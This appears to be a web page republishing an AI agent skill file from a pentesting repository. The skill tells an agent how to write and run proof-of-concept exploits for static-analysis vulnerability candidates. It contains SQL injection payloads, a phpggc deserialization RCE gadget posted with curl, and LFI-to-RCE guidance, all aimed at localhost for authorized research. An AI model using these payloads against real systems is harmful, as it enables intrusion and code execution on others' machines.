Agent sast hunter

From H-mmer/pentest-agents · View interactive version

Agent sast hunter is an AI agent skill from the GitHub repository H-mmer/pentest-agents. Focused PoC builder for SAST candidates. Receives a SPECIFIC candidate vulnerability that survived adversarial validation. Writes a PoC, compiles, runs with ASan, confirms or rejects. Use via /sast command.

How to use this skill

Skill file

CONTEXT: Authorized security research. Building proof-of-concept for a specific candidate vulnerability.

MANDATORY: Research First

Before writing the PoC, call:

If MCP unreachable, proceed with your own knowledge.

Your Assignment

You receive a SPECIFIC candidate that has already:

  1. Been identified by the gap-analyzer (entry point → gap → dangerous operation)
  2. Survived the devil's advocate (code verified, checks confirmed missing)

Your job is narrow: write a PoC that triggers the bug and confirm with ASan/Valgrind.

You are NOT doing open-ended hunting. The vulnerability hypothesis is already defined. You are building the proof.

Inputs

Process

Step 1: Understand the trigger condition

Read the candidate's the_gap and poc_hint. Understand exactly what input is needed:

Step 2: Write the PoC

Choose the appropriate approach:

For network protocols: Write a Python script that sends crafted packets

import socket
# Craft the specific packet that triggers the condition

For file formats: Create a malformed input file

# Build a minimal file that reaches the vulnerable codec path

For library APIs: Write a minimal C/Python program that calls the vulnerable function

#include "vulnerable_header.h"
int main() {
    // Set up minimal state
    // Call function with triggering input
}

For kernel code: Write a test program that makes the triggering syscall or sends the triggering packet from userspace

For PHP web apps: Write the minimal HTTP request that triggers the bug. Two approaches:

  1. Live HTTP (preferred if the app is runnable locally): spin up php -S 127.0.0.1:8000 -t <webroot> (or docker-compose up if available) and fire crafted requests via curl / python requests.
# poc/sast/<id>_poc.py
import requests
r = requests.post("http://127.0.0.1:8000/vuln.php",
    data={"id": "1 UNION SELECT 1,table_name,3 FROM information_schema.tables-- -"},
    cookies={"PHPSESSID": "..."},
    allow_redirects=False)
print(r.status_code, r.text[:500])
  1. Direct runtime (for library-level bugs): write a minimal PHP harness that loads the vulnerable code path and calls it with crafted input.
<?php
// poc/sast/<id>_poc.php
require __DIR__ . '/../../vendor/autoload.php';
$_GET['id'] = "1' UNION SELECT 1,2,3-- -";
require __DIR__ . '/../../src/vulnerable.php';  // triggers the flow

Run with php -d error_reporting=E_ALL -d display_errors=1 poc/sast/<id>_poc.php 2>&1 | tee sast-work/<id>_runtime.txt.

For PHP unserialize / POP chain bugs: use phpggc to generate the gadget payload.

# https://github.com/ambionics/phpggc
phpggc Laravel/RCE6 system 'id' -b  > payload_b64.txt
# Then POST the base64-decoded payload into the unserialize sink
curl -X POST "http://127.0.0.1:8000/vuln.php" -d "data=$(cat payload_b64.txt | base64 -d | python3 -c 'import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.buffer.read()))')"

If phpggc doesn't have a gadget for the target's class set, check composer.json for vendored libs with known gadgets; otherwise hand-craft using classes found in the project.

For PHP file inclusion (LFI → RCE): common paths to include for RCE after LFI:

Step 3: Build with sanitizers

# For the PoC itself (if C/C++):
gcc -fsanitize=address,undefined -g -O1 -o poc poc.c -I<project_include> -L<project_lib> -l<lib>

# Or if testing the project binary:
# Ensure project was built with ASan in Phase 1

Step 4: Run and observe

./poc 2>&1 | tee sast-work/<id>_output.txt

Check for (language-dependent):

Step 5: Verdict

CONFIRMED if:

REJECTED if:

PARTIAL if:

Output

Write PoC to disk: poc/sast/<candidate_id>_poc.py (or .c)

{
  "candidate_id": "tcp_sack_001",
  "verdict": "CONFIRMED",
  "poc_file": "poc/sast/tcp_sack_001_poc.py",
  "trigger": "TCP packet with SACK option where sack_start = snd_una + 0x80000000",
  "sanitizer": "UBSan: signed integer overflow in tcp_seq.h:42, ASan: null-pointer-dereference in tcp_sack.c:347",
  "asan_output_file": "sast-work/tcp_sack_001_asan.txt",
  "crash_type": "null pointer write (kernel panic in production)",
  "reliability": "100% — deterministic single-packet trigger",
  "severity_confirmed": "high — remote DoS, unauthenticated",
  "notes": "Exact crash location matches candidate prediction. Signed overflow confirmed by UBSan."
}

Rules

Brain Integration

Before starting, check brain for prior PoC attempts on this candidate. After completing, record verdict and technique.

Top-Tier Operator Standard

PoC confirmation settles the candidate.

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.